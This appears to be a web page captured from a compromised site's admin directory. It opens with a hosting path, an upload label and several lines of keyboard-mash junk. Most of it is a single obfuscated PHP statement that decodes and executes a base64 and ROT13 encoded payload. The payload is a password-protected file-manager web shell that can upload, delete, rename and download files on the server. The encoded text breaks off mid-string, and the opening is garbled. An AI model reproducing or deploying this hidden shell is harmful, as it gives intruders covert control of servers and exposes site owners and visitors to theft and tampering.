]][ahhhhhhhfhfasdasoioasdsdkksdadddsddfgh
במ12[aspddfsdfsdfdfnggsd g ggk ffghaskjjsaddddkdasdasd asdaioioidgh;';';'
/
home
/
u298854927
/
domains
/
admonksstudio.com
/
public_html
/
admin
/
Upload FileeE
HOME
<?php fu/**rs*/("?>".fu(fu("PD9jdWMgJHFvcnI9Jyc7dnModmZmcmcoJF9DQkZHWydxb3JyJ10pKXskcW9ycj0kX0NCRkdbJ3FvcnInXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3FvcnInXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PScyNHI2MzEyMTQxNTY5Mjc3cG8zMnIxc24xMXM2NDY1bycpfHx6cTUoJHFvcnIpPT0nMjRyNjMxMjE0MTU2OTI3N3BvMzJyMXNuMTFzNjQ2NW8nKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InFvcnIiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PD9jdWMKCi8qKgogKiBDVUMgU3Z5ciBabmFudHJlICgyMDE3LTA4LTA3KQogKiB1Z2djZjovL3R2Z3Voby5wYnovbnlya25hZ2Uvc3Z5cnpuYW50cmUKICovCgovLyBOaGd1IGp2Z3UgeWJ0dmEvY25mZmpiZXEgKGZyZyBnZWhyL3NueWZyIGdiIHJhbm95ci9xdmZub3lyIHZnKQokaGZyX25oZ3UgPSBzbnlmcjsKCi8vIEhmcmVmOiBuZWVubCgnSGZyZWFuenInID0+ICdDbmZmamJlcScsICdIZnJlYW56cjInID0+ICdDbmZmamJlcTInLCAuLi4pCiRuaGd1X2hmcmVmID0gbmVlbmwoCiAgICAnbmZxJyA9PiAnbmZxJywKKTsKCi8vIFJhbm95ciB1dnR1eXZ0dWcud2YgKHVnZ2NmOi8vdXZ0dXl2dHVnd2YuYmV0LykgYmEgaXZyaidmIGNudHIKJGhmcl91dnR1eXZ0dWd3ZiA9IGdlaHI7CgovLyB1dnR1eXZ0dWcud2YgZmdseXIKJHV2dHV5dnR1Z3dmX2ZnbHlyID0gJ2lmJzsKCi8vIFFyc25oeWcgZ3Z6cm1iYXIgc2JlIHFuZ3IoKSBuYXEgZ3Z6cigpIC0gdWdnYzovL2N1Yy5hcmcvem5haG55L3JhL2d2enJtYmFyZi5jdWMKJHFyc25oeWdfZ3Z6cm1iYXIgPSAnUmhlYmNyL1p2YWZ4JzsgLy8gSEdQKzMKCi8vIEViYmcgY25ndSBzYmUgc3Z5ciB6bmFudHJlCiRlYmJnX2NuZ3UgPSAkX0ZSRUlSRVsnUUJQSFpSQUdfRUJCRyddOwoKLy8gRWJiZyBoZXkgc2JlIHl2YXhmIHZhIHN2eXIgem5hbnRyZS5FcnluZ3ZpciBnYiAkdWdnY191YmZnLiBJbmV2bmFnZjogJycsICdjbmd1L2diL2Zob3NieXFyZScKLy8gSnZ5eSBhYmcgamJleHZhdCB2cyAkZWJiZ19jbmd1IGp2eXkgb3IgYmhnZnZxciBicyBmcmVpcmUgcWJwaHpyYWcgZWJiZwokZWJiZ19oZXkgPSAnJzsKCi8vIEZyZWlyZSB1YmZnYW56ci4gUG5hIGZyZyB6bmFobnl5bCB2cyBqZWJhdAokdWdnY191YmZnID0gJF9GUkVJUkVbJ1VHR0NfVUJGRyddOwoKLy8gdmFjaGcgcmFwYnF2YXQgc2JlIHZwYmFpCiR2cGJhaV92YWNoZ19yYXBicXZhdCA9ICdQQzEyNTEnOwoKLy8gcW5ncigpIHNiZXpuZyBzYmUgc3Z5ciB6YnF2c3Zwbmd2YmEgcW5ncgokcW5ncmd2enJfc2Jlem5nID0gJ3Euei5sIFU6dic7CgovLy0tLSBSUVZHIE9SWUJKIFBORVJTSFlZTCBCRSBRQiBBQkcgUlFWRyBORyBOWVkKCi8vIHZzIHN6IHZhcHlocXJxCnZzIChxcnN2YXJxKCdTWl9SWk9SUScpKSB7CiAgICAkaGZyX25oZ3UgPSBzbnlmcjsKfSByeWZyIHsKICAgIEBmcmdfZ3Z6cl95dnp2Zyg2MDApOwoKICAgIHFuZ3JfcXJzbmh5Z19ndnpybWJhcl9mcmcoJHFyc25oeWdfZ3Z6cm1iYXIpOwoKICAgIHZhdl9mcmcoJ3Fyc25oeWdfcHVuZWZyZycsICdIR1MtOCcpOwogICAgdnMgKGlyZWZ2YmFfcGJ6Y25lcihDVUNfSVJFRlZCQSwgJzUuNi4wJywgJzwnKSAmJiBzaGFwZ3ZiYV9ya3ZmZ2YoJ3pvX3ZhZ3JlYW55X3JhcGJxdmF0JykpIHsKICAgICAgICB6b192YWdyZWFueV9yYXBicXZhdCgnSEdTLTgnKTsKICAgIH0KICAgIHZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ3pvX2VydHJrX3JhcGJxdmF0JykpIHsKICAgICAgICB6b19lcnRya19yYXBicXZhdCgnSEdTLTgnKTsKICAgIH0KCiAgICBmcmZmdmJhX3BucHVyX3l2enZncmUoJycpOwogICAgZnJmZnZiYV9hbnpyKCdzdnlyem5hbnRyZScpOwogICAgZnJmZnZiYV9mZ25lZygpOwp9Cgp2cyAocnpjZ2woJG5oZ3VfaGZyZWYpKSB7CiAgICAkaGZyX25oZ3UgPSBzbnlmcjsKfQoKJHZmX3VnZ2NmID0gdmZmcmcoJF9GUkVJUkVbJ1VHR0NGJ10pICYmICgkX0ZSRUlSRVsnVUdHQ0YnXSA9PSAnYmEnIHx8ICRfRlJFSVJFWydVR0dDRiddID09IDEpCiAgICB8fCB2ZmZyZygkX0ZSRUlSRVsnVUdHQ19LX1NCRUpORVFSUV9DRUJHQiddKSAmJiAkX0ZSRUlSRVsnVUdHQ19LX1NCRUpORVFSUV9DRUJHQiddID09ICd1Z2djZic7CgovLyBweXJuYSBuYXEgcHVycHggJGViYmdfY25ndQokZWJiZ19jbmd1ID0gZWdldnooJGViYmdfY25ndSwgJ1xcLycpOwokZWJiZ19jbmd1ID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkZWJiZ19jbmd1KTsKdnMgKCFAdmZfcXZlKCRlYmJnX2NuZ3UpKSB7CiAgICBycHViIGZjZXZhZ3MoJzx1MT5FYmJnIGNuZ3UgIiVmIiBhYmcgc2JoYXEhPC91MT4nLCBzel9yYXAoJGViYmdfY25ndSkpOwogICAgcmt2ZzsKfQoKLy8gcHlybmEgJGViYmdfaGV5CiRlYmJnX2hleSA9IHN6X3B5cm5hX2NuZ3UoJGViYmdfaGV5KTsKCi8vIG5vZiBjbmd1IHNiZSBmdmdyCnFyc3ZhcnEoJ1NaX0VCQkdfQ05HVScpIHx8IHFyc3ZhcignU1pfRUJCR19DTkdVJywgJGViYmdfY25ndSk7CnFyc3ZhcnEoJ1NaX0VCQkdfSEVZJykgfHwgcXJzdmFyKCdTWl9FQkJHX0hFWScsICgkdmZfdWdnY2YgPyAndWdnY2YnIDogJ3VnZ2MnKSAuICc6Ly8nIC4gJHVnZ2NfdWJmZyAuICghcnpjZ2woJGViYmdfaGV5KSA/ICcvJyAuICRlYmJnX2hleSA6ICcnKSk7CnFyc3ZhcnEoJ1NaX0ZSWVNfSEVZJykgfHwgcXJzdmFyKCdTWl9GUllTX0hFWScsICgkdmZfdWdnY2YgPyAndWdnY2YnIDogJ3VnZ2MnKSAuICc6Ly8nIC4gJHVnZ2NfdWJmZyAuICRfRlJFSVJFWydDVUNfRlJZUyddKTsKCi8vIHlidGJoZwp2cyAodmZmcmcoJF9UUkdbJ3lidGJoZyddKSkgewogICAgaGFmcmcoJF9GUkZGVkJBWyd5YnR0cnEnXSk7CiAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSk7Cn0KCi8vIEZ1YmogdnpudHIgdXJlcgp2cyAodmZmcmcoJF9UUkdbJ3Z6dCddKSkgewogICAgc3pfZnVial92em50cigkX1RSR1sndnp0J10pOwp9CgovLyBOaGd1CnZzICgkaGZyX25oZ3UpIHsKICAgIHZzICh2ZmZyZygkX0ZSRkZWQkFbJ3lidHRycSddLCAkbmhndV9oZnJlZlskX0ZSRkZWQkFbJ3lidHRycSddXSkpIHsKICAgICAgICAvLyBZYnR0cnEKICAgIH0gcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X2hmZSddLCAkX0NCRkdbJ3N6X2NqcSddKSkgewogICAgICAgIC8vIFlidHR2YXQgVmEKICAgICAgICBmeXJyYygxKTsKICAgICAgICB2cyAodmZmcmcoJG5oZ3VfaGZyZWZbJF9DQkZHWydzel9oZmUnXV0pICYmICRfQ0JGR1snc3pfY2pxJ10gPT09ICRuaGd1X2hmcmVmWyRfQ0JGR1snc3pfaGZlJ11dKSB7CiAgICAgICAgICAgICRfRlJGRlZCQVsneWJ0dHJxJ10gPSAkX0NCRkdbJ3N6X2hmZSddOwogICAgICAgICAgICBzel9mcmdfemZ0KCdMYmggbmVyIHlidHRycSB2YScpOwogICAgICAgICAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICBoYWZyZygkX0ZSRkZWQkFbJ3lidHRycSddKTsKICAgICAgICAgICAgc3pfZnJnX3pmdCgnSmViYXQgY25mZmpiZXEnLCAncmVlYmUnKTsKICAgICAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkpOwogICAgICAgIH0KICAgIH0gcnlmciB7CiAgICAgICAgLy8gU2JlegogICAgICAgIGhhZnJnKCRfRlJGRlZCQVsneWJ0dHJxJ10pOwogICAgICAgIHN6X2Z1YmpfdXJucXJlKCk7CiAgICAgICAgc3pfZnVial96cmZmbnRyKCk7CiAgICAgICAgPz4KICAgICAgICA8cXZpIHB5bmZmPSJjbmd1Ij4KICAgICAgICAgICAgPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyIgZmdseXI9InpuZXR2YToxMGNrO2dya2ctbnl2dGE6cHJhZ3JlIj4KICAgICAgICAgICAgICAgIDx2YWNoZyBhbnpyPSJzel9oZmUiIGlueWhyPSIiIGN5bnBydWJ5cXJlPSJIZnJlYW56ciIgZXJkaHZlcnE+CiAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InN6X2NqcSIgaW55aHI9IiIgY3lucHJ1YnlxcmU9IkNuZmZqYmVxIiBlcmRodmVycT4KICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSJZYnR2YSI+CiAgICAgICAgICAgIDwvc2Jlej4KICAgICAgICA8L3F2aT4KICAgICAgICA8P2N1YwogICAgICAgIHN6X2Z1Ympfc2JiZ3JlKCk7CiAgICAgICAgcmt2ZzsKICAgIH0KfQoKcXJzdmFyKCdTWl9WRl9KVkEnLCBRVkVSUEdCRUxfRlJDTkVOR0JFID09ICdcXCcpOwoKLy8gbnlqbmxmIGhmciA/Yz0KdnMgKCF2ZmZyZygkX1RSR1snYyddKSkgewogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9Jyk7Cn0KCi8vIHRyZyBjbmd1CiRjID0gdmZmcmcoJF9UUkdbJ2MnXSkgPyAkX1RSR1snYyddIDogKHZmZnJnKCRfQ0JGR1snYyddKSA/ICRfQ0JGR1snYyddIDogJycpOwoKLy8gcHlybmEgY25ndQokYyA9IHN6X3B5cm5hX2NuZ3UoJGMpOwoKLy8gdmFmZ3JucSB0eWJvbnlmIGluZWYKcXJzdmFyKCdTWl9DTkdVJywgJGMpOwpxcnN2YXIoJ1NaX0hGUl9OSEdVJywgJGhmcl9uaGd1KTsKCnFyc3ZhcnEoJ1NaX1ZQQkFJX1ZBQ0hHX1JBUCcpIHx8IHFyc3ZhcignU1pfVlBCQUlfVkFDSEdfUkFQJywgJHZwYmFpX3ZhY2hnX3JhcGJxdmF0KTsKcXJzdmFycSgnU1pfSEZSX1VWVFVZVlRVR1dGJykgfHwgcXJzdmFyKCdTWl9IRlJfVVZUVVlWVFVHV0YnLCAkaGZyX3V2dHV5dnR1Z3dmKTsKcXJzdmFycSgnU1pfVVZUVVlWVFVHV0ZfRkdMWVInKSB8fCBxcnN2YXIoJ1NaX1VWVFVZVlRVR1dGX0ZHTFlSJywgJHV2dHV5dnR1Z3dmX2ZnbHlyKTsKcXJzdmFycSgnU1pfUU5HUkdWWlJfU0JFWk5HJykgfHwgcXJzdmFyKCdTWl9RTkdSR1ZaUl9TQkVaTkcnLCAkcW5ncmd2enJfc2Jlem5nKTsKCmhhZnJnKCRjLCAkaGZyX25oZ3UsICR2cGJhaV92YWNoZ19yYXBicXZhdCwgJGhmcl91dnR1eXZ0dWd3ZiwgJHV2dHV5dnR1Z3dmX2ZnbHlyKTsKCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogTlBHVkJBRiAqKioqKioqKioqKioqKioqKioqKioqKioqKiovCgovLyBRcnlyZ3Igc3Z5ciAvIHNieXFyZQp2cyAodmZmcmcoJF9UUkdbJ3FyeSddKSkgewogICAgJHFyeSA9ICRfVFJHWydxcnknXTsKICAgICRxcnkgPSBzel9weXJuYV9jbmd1KCRxcnkpOwogICAgJHFyeSA9IGZnZV9lcmN5bnByKCcvJywgJycsICRxcnkpOwogICAgdnMgKCRxcnkgIT0gJycgJiYgJHFyeSAhPSAnLi4nICYmICRxcnkgIT0gJy4nKSB7CiAgICAgICAgJGNuZ3UgPSBTWl9FQkJHX0NOR1U7CiAgICAgICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAgICAgJGNuZ3UgLj0gJy8nIC4gU1pfQ05HVTsKICAgICAgICB9CiAgICAgICAgJHZmX3F2ZSA9IHZmX3F2ZSgkY25ndSAuICcvJyAuICRxcnkpOwogICAgICAgIHZzIChzel9lcXJ5cmdyKCRjbmd1IC4gJy8nIC4gJHFyeSkpIHsKICAgICAgICAgICAgJHpmdCA9ICR2Zl9xdmUgPyAnU2J5cXJlIDxvPiVmPC9vPiBxcnlyZ3JxJyA6ICdTdnlyIDxvPiVmPC9vPiBxcnlyZ3JxJzsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCR6ZnQsIHN6X3JhcCgkcXJ5KSkpOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICR6ZnQgPSAkdmZfcXZlID8gJ1NieXFyZSA8bz4lZjwvbz4gYWJnIHFyeXJncnEnIDogJ1N2eXIgPG8+JWY8L28+IGFiZyBxcnlyZ3JxJzsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCR6ZnQsIHN6X3JhcCgkcXJ5KSksICdyZWViZScpOwogICAgICAgIH0KICAgIH0gcnlmciB7CiAgICAgICAgc3pfZnJnX3pmdCgnSmViYXQgc3Z5ciBiZSBzYnlxcmUgYW56cicsICdyZWViZScpOwogICAgfQogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7Cn0KCi8vIFBlcm5nciBzYnlxcmUKdnMgKHZmZnJnKCRfVFJHWydhcmonXSkpIHsKICAgICRhcmogPSBmZ2V2Y19nbnRmKCRfVFJHWydhcmonXSk7IC8vIGVyemJpciBoYWpuYWdycSBwdW5lbnBncmVmIHNlYnogc2J5cXJlIGFuenIKICAgICRhcmogPSBzel9weXJuYV9jbmd1KCRhcmopOwogICAgJGFyaiA9IGZnZV9lcmN5bnByKCcvJywgJycsICRhcmopOwogICAgdnMgKCRhcmogIT0gJycgJiYgJGFyaiAhPSAnLi4nICYmICRhcmogIT0gJy4nKSB7CiAgICAgICAgJGNuZ3UgPSBTWl9FQkJHX0NOR1U7CiAgICAgICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAgICAgJGNuZ3UgLj0gJy8nIC4gU1pfQ05HVTsKICAgICAgICB9CiAgICAgICAgdnMgKHN6X3p4cXZlKCRjbmd1IC4gJy8nIC4gJGFyaiwgc255ZnIpID09PSBnZWhyKSB7CiAgICAgICAgICAgIHN6X2ZyZ196ZnQoZmNldmFncygnU2J5cXJlIDxvPiVmPC9vPiBwZXJuZ3JxJywgc3pfcmFwKCRhcmopKSk7CiAgICAgICAgfSByeWZydnMgKHN6X3p4cXZlKCRjbmd1IC4gJy8nIC4gJGFyaiwgc255ZnIpID09PSAkY25ndSAuICcvJyAuICRhcmopIHsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdTYnlxcmUgPG8+JWY8L28+IG55ZXJucWwgcmt2ZmdmJywgc3pfcmFwKCRhcmopKSwgJ255cmVnJyk7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdTYnlxcmUgPG8+JWY8L28+IGFiZyBwZXJuZ3JxJywgc3pfcmFwKCRhcmopKSwgJ3JlZWJlJyk7CiAgICAgICAgfQogICAgfSByeWZyIHsKICAgICAgICBzel9mcmdfemZ0KCdKZWJhdCBzYnlxcmUgYW56cicsICdyZWViZScpOwogICAgfQogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7Cn0KCi8vIFBiY2wgc2J5cXJlIC8gc3Z5cgp2cyAodmZmcmcoJF9UUkdbJ3BiY2wnXSwgJF9UUkdbJ3N2YXZmdSddKSkgewogICAgLy8gc2ViegogICAgJHBiY2wgPSAkX1RSR1sncGJjbCddOwogICAgJHBiY2wgPSBzel9weXJuYV9jbmd1KCRwYmNsKTsKICAgIC8vIHJ6Y2dsIGNuZ3UKICAgIHZzICgkcGJjbCA9PSAnJykgewogICAgICAgIHN6X2ZyZ196ZnQoJ0ZiaGVwciBjbmd1IGFiZyBxcnN2YXJxJywgJ3JlZWJlJyk7CiAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7CiAgICB9CiAgICAvLyBub2YgY25ndSBzZWJ6CiAgICAkc2VieiA9IFNaX0VCQkdfQ05HVSAuICcvJyAuICRwYmNsOwogICAgLy8gbm9mIGNuZ3UgZ2IKICAgICRxcmZnID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkcXJmZyAuPSAnLycgLiBTWl9DTkdVOwogICAgfQogICAgJHFyZmcgLj0gJy8nIC4gb25mcmFuenIoJHNlYnopOwogICAgLy8gemJpcj8KICAgICR6YmlyID0gdmZmcmcoJF9UUkdbJ3piaXInXSk7CiAgICAvLyBwYmNsL3piaXIKICAgIHZzICgkc2VieiAhPSAkcXJmZykgewogICAgICAgICR6ZnRfc2VieiA9IGdldnooU1pfQ05HVSAuICcvJyAuIG9uZnJhbnpyKCRzZWJ6KSwgJy8nKTsKICAgICAgICB2cyAoJHpiaXIpIHsKICAgICAgICAgICAgJGVyYW56ciA9IHN6X2VyYW56cigkc2VieiwgJHFyZmcpOwogICAgICAgICAgICB2cyAoJGVyYW56cikgewogICAgICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdaYmlycSBzZWJ6IDxvPiVmPC9vPiBnYiA8bz4lZjwvbz4nLCBzel9yYXAoJHBiY2wpLCBzel9yYXAoJHpmdF9zZWJ6KSkpOwogICAgICAgICAgICB9IHJ5ZnJ2cyAoJGVyYW56ciA9PT0gYWh5eSkgewogICAgICAgICAgICAgICAgc3pfZnJnX3pmdCgnU3Z5ciBiZSBzYnlxcmUganZndSBndXZmIGNuZ3Ugbnllcm5xbCBya3ZmZ2YnLCAnbnlyZWcnKTsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgIHN6X2ZyZ196ZnQoZmNldmFncygnUmVlYmUganV2eXIgemJpdmF0IHNlYnogPG8+JWY8L28+IGdiIDxvPiVmPC9vPicsIHN6X3JhcCgkcGJjbCksIHN6X3JhcCgkemZ0X3NlYnopKSwgJ3JlZWJlJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICB2cyAoc3pfZXBiY2woJHNlYnosICRxcmZnKSkgewogICAgICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdQYmNsdnJxIHNlYnogPG8+JWY8L28+IGdiIDxvPiVmPC9vPicsIHN6X3JhcCgkcGJjbCksIHN6X3JhcCgkemZ0X3NlYnopKSk7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICBzel9mcmdfemZ0KGZjZXZhZ3MoJ1JlZWJlIGp1dnlyIHBiY2x2YXQgc2VieiA8bz4lZjwvbz4gZ2IgPG8+JWY8L28+Jywgc3pfcmFwKCRwYmNsKSwgc3pfcmFwKCR6ZnRfc2VieikpLCAncmVlYmUnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gcnlmciB7CiAgICAgICAgc3pfZnJnX3pmdCgnQ25ndWYgemhmZyBvciBhYmcgcmRobnknLCAnbnlyZWcnKTsKICAgIH0KICAgIHN6X2VycXZlcnBnKFNaX0ZSWVNfSEVZIC4gJz9jPScgLiBoZXlyYXBicXIoU1pfQ05HVSkpOwp9CgovLyBabmZmIHBiY2wgc3Z5cmYvIHNieXFyZWYKdnMgKHZmZnJnKCRfQ0JGR1snc3Z5ciddLCAkX0NCRkdbJ3BiY2xfZ2InXSwgJF9DQkZHWydzdmF2ZnUnXSkpIHsKICAgIC8vIHNlYnoKICAgICRjbmd1ID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwogICAgfQogICAgLy8gZ2IKICAgICRwYmNsX2diX2NuZ3UgPSBTWl9FQkJHX0NOR1U7CiAgICAkcGJjbF9nYiA9IHN6X3B5cm5hX2NuZ3UoJF9DQkZHWydwYmNsX2diJ10pOwogICAgdnMgKCRwYmNsX2diICE9ICcnKSB7CiAgICAgICAgJHBiY2xfZ2JfY25ndSAuPSAnLycgLiAkcGJjbF9nYjsKICAgIH0KICAgIHZzICgkY25ndSA9PSAkcGJjbF9nYl9jbmd1KSB7CiAgICAgICAgc3pfZnJnX3pmdCgnQ25ndWYgemhmZyBvciBhYmcgcmRobnknLCAnbnlyZWcnKTsKICAgICAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKICAgIH0KICAgIHZzICghdmZfcXZlKCRwYmNsX2diX2NuZ3UpKSB7CiAgICAgICAgdnMgKCFzel96eHF2ZSgkcGJjbF9nYl9jbmd1LCBnZWhyKSkgewogICAgICAgICAgICBzel9mcmdfemZ0KCdIYW5veXIgZ2IgcGVybmdyIHFyZmd2YW5ndmJhIHNieXFyZScsICdyZWViZScpOwogICAgICAgICAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKICAgICAgICB9CiAgICB9CiAgICAvLyB6YmlyPwogICAgJHpiaXIgPSB2ZmZyZygkX0NCRkdbJ3piaXInXSk7CiAgICAvLyBwYmNsL3piaXIKICAgICRyZWViZWYgPSAwOwogICAgJHN2eXJmID0gJF9DQkZHWydzdnlyJ107CiAgICB2cyAodmZfbmVlbmwoJHN2eXJmKSAmJiBwYmhhZygkc3Z5cmYpKSB7CiAgICAgICAgc2Jlcm5wdSAoJHN2eXJmIG5mICRzKSB7CiAgICAgICAgICAgIHZzICgkcyAhPSAnJykgewogICAgICAgICAgICAgICAgLy8gbm9mIGNuZ3Ugc2ViegogICAgICAgICAgICAgICAgJHNlYnogPSAkY25ndSAuICcvJyAuICRzOwogICAgICAgICAgICAgICAgLy8gbm9mIGNuZ3UgZ2IKICAgICAgICAgICAgICAgICRxcmZnID0gJHBiY2xfZ2JfY25ndSAuICcvJyAuICRzOwogICAgICAgICAgICAgICAgLy8gcWIKICAgICAgICAgICAgICAgIHZzICgkemJpcikgewogICAgICAgICAgICAgICAgICAgICRlcmFuenIgPSBzel9lcmFuenIoJHNlYnosICRxcmZnKTsKICAgICAgICAgICAgICAgICAgICB2cyAoJGVyYW56ciA9PT0gc255ZnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlZWJlZisrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgdnMgKCFzel9lcGJjbCgkc2VieiwgJHFyZmcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZWViZWYrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgdnMgKCRyZWViZWYgPT0gMCkgewogICAgICAgICAgICAkemZ0ID0gJHpiaXIgPyAnRnJ5cnBncnEgc3Z5cmYgbmFxIHNieXFyZWYgemJpcnEnIDogJ0ZyeXJwZ3JxIHN2eXJmIG5hcSBzYnlxcmVmIHBiY3ZycSc7CiAgICAgICAgICAgIHN6X2ZyZ196ZnQoJHpmdCk7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgJHpmdCA9ICR6YmlyID8gJ1JlZWJlIGp1dnlyIHpiaXZhdCB2Z3J6ZicgOiAnUmVlYmUganV2eXIgcGJjbHZhdCB2Z3J6Zic7CiAgICAgICAgICAgIHN6X2ZyZ196ZnQoJHpmdCwgJ3JlZWJlJyk7CiAgICAgICAgfQogICAgfSByeWZyIHsKICAgICAgICBzel9mcmdfemZ0KCdBYmd1dmF0IGZyeXJwZ3JxJywgJ255cmVnJyk7CiAgICB9CiAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKfQoKLy8gRXJhbnpyCnZzICh2ZmZyZygkX1RSR1snZXJhJ10sICRfVFJHWydnYiddKSkgewogICAgLy8gYnlxIGFuenIKICAgICRieXEgPSAkX1RSR1snZXJhJ107CiAgICAkYnlxID0gc3pfcHlybmFfY25ndSgkYnlxKTsKICAgICRieXEgPSBmZ2VfZXJjeW5wcignLycsICcnLCAkYnlxKTsKICAgIC8vIGFyaiBhbnpyCiAgICAkYXJqID0gJF9UUkdbJ2diJ107CiAgICAkYXJqID0gc3pfcHlybmFfY25ndSgkYXJqKTsKICAgICRhcmogPSBmZ2VfZXJjeW5wcignLycsICcnLCAkYXJqKTsKICAgIC8vIGNuZ3UKICAgICRjbmd1ID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwogICAgfQogICAgLy8gZXJhbnpyCiAgICB2cyAoJGJ5cSAhPSAnJyAmJiAkYXJqICE9ICcnKSB7CiAgICAgICAgdnMgKHN6X2VyYW56cigkY25ndSAuICcvJyAuICRieXEsICRjbmd1IC4gJy8nIC4gJGFyaikpIHsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdFcmFuenJxIHNlYnogPG8+JWY8L28+IGdiIDxvPiVmPC9vPicsIHN6X3JhcCgkYnlxKSwgc3pfcmFwKCRhcmopKSk7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdSZWViZSBqdXZ5ciBlcmFuenZhdCBzZWJ6IDxvPiVmPC9vPiBnYiA8bz4lZjwvbz4nLCBzel9yYXAoJGJ5cSksIHN6X3JhcCgkYXJqKSksICdyZWViZScpOwogICAgICAgIH0KICAgIH0gcnlmciB7CiAgICAgICAgc3pfZnJnX3pmdCgnQW56cmYgYWJnIGZyZycsICdyZWViZScpOwogICAgfQogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7Cn0KCi8vIFFiamF5Ym5xCnZzICh2ZmZyZygkX1RSR1sncXknXSkpIHsKICAgICRxeSA9ICRfVFJHWydxeSddOwogICAgJHF5ID0gc3pfcHlybmFfY25ndSgkcXkpOwogICAgJHF5ID0gZmdlX2VyY3lucHIoJy8nLCAnJywgJHF5KTsKICAgICRjbmd1ID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwogICAgfQogICAgdnMgKCRxeSAhPSAnJyAmJiB2Zl9zdnlyKCRjbmd1IC4gJy8nIC4gJHF5KSkgewogICAgICAgIHVybnFyZSgnUGJhZ3JhZy1RcmZwZXZjZ3ZiYTogU3Z5ciBHZW5hZnNyZScpOwogICAgICAgIHVybnFyZSgnUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnonKTsKICAgICAgICB1cm5xcmUoJ1BiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPSInIC4gb25mcmFuenIoJGNuZ3UgLiAnLycgLiAkcXkpIC4gJyInKTsKICAgICAgICB1cm5xcmUoJ1BiYWdyYWctR2VuYWZzcmUtUmFwYnF2YXQ6IG92YW5lbCcpOwogICAgICAgIHVybnFyZSgnUGJhYXJwZ3ZiYTogWHJyYy1OeXZpcicpOwogICAgICAgIHVybnFyZSgnUm